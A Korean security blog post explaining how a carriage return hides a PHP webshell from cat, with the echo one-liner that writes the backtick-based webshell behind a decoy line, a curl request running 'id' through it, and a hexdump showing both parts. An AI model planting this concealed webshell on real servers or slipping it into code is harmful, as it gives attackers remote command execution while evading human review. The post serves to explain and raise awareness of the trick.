PHP Hidden webshell with carriage return(\r, hack trick)

오늘 아침에 취약점 몇개 분석하고 보다가 트위터에서 재미있는걸 발견했습니다. PHP Hidden webshell 이란 내용으로 올라온 글인데, 간단한 트릭이지만 저렇게 될거란 생각 조차 안하고 있었네요.. (내가 한심..) (역시 브루트로직 https://twitter.com/brutelogic/status/1087723868532469763 )

carriage return(\r) 을 이용해서 echo로 아래와 같이 test.php를 만들어주면..

echo -e "<?=\`\$_POST[1]\`?>\r<?='blank file';?>" > test.php

cat으로 볼땐 blank file만 보이지만,

cat test.php
<?='blank file';?>

실제로 웹 요청 시 POSt 구문이 처리되어 backtick 으로 인해 명령이 실행되는걸 볼 수 있습니다.

curl http://192.168.0.11/test.php -d 1=id
uid=1490(-----) gid=100(users) groups=100(users),99(nobody)

왜 이렇게 되는걸까?

대학생 때 진행해보 첫 프로젝트가 C언어로 게임 만들기였습니다. cmd 내에서 하는 rpg 게임이였는데… 화면 렌더링을 우해 \r 문자를 썼었던 기억이 있습니다. (글쓰다가 급 생각나서)

\r 은 해당 라인의 맨앞을 의미하는 문자입니다. 이게 OS별로 좀 다르게 쓰이긴하지만, Unix 기반 + C 언어 내부 등등 여러곳에서 맨앞을 의미하도록 사용됩니다.

참고: https://ko.wikipedia.org/wiki/캐리지_리턴

고로 위에서의 echo 구문은 POST 구문을 찍고, 다시 맨앞으로 가서 blank file 구문을 찍도록 합니다. 실제 값은 둘 다 있지만 command line에서 cat으로 찍어볼 땐 \r이 먹어서 마치 blank file 만 있는 것처럼 보이게 됩니다.

실제로 hexdump 떠보면..

hexdump -C test.php
00000000  3c 3f 3d 60 24 5f 50 4f  53 54 5b 31 5d 60 3f 3e  |<?=`$_POST[1]`?>|
00000010  0d 3c 3f 3d 27 62 6c 61  6e 6b 20 66 69 6c 65 27  |.<?='blank file'|
00000020  3b 3f 3e 0a                                       |;?>.|
00000024

둘 다 있는걸 알 수 있습니다.

어디에 또 쓰일 수 있을까?

솔직히 저걸로 장비는 속일 수 없습니다. (원문 자체가 바뀌는게 아니라서..) 단 사람 눈을 속일 수 있어서 일단 SE나 개발자가 육안으로 발견할 가능성이 좀 줄어들거고, subprocess로 cat 같이 \r 을 처리하는 명령으로 데이터를 읽어서 처리하는 보안 툴(?)이 있다면 영향있을 것 같네요.

그냥 간단한 트릭이니 가볍게 넘어갑시다! (정리중인 글은 많은데, 언제 다 올리지…허허헣)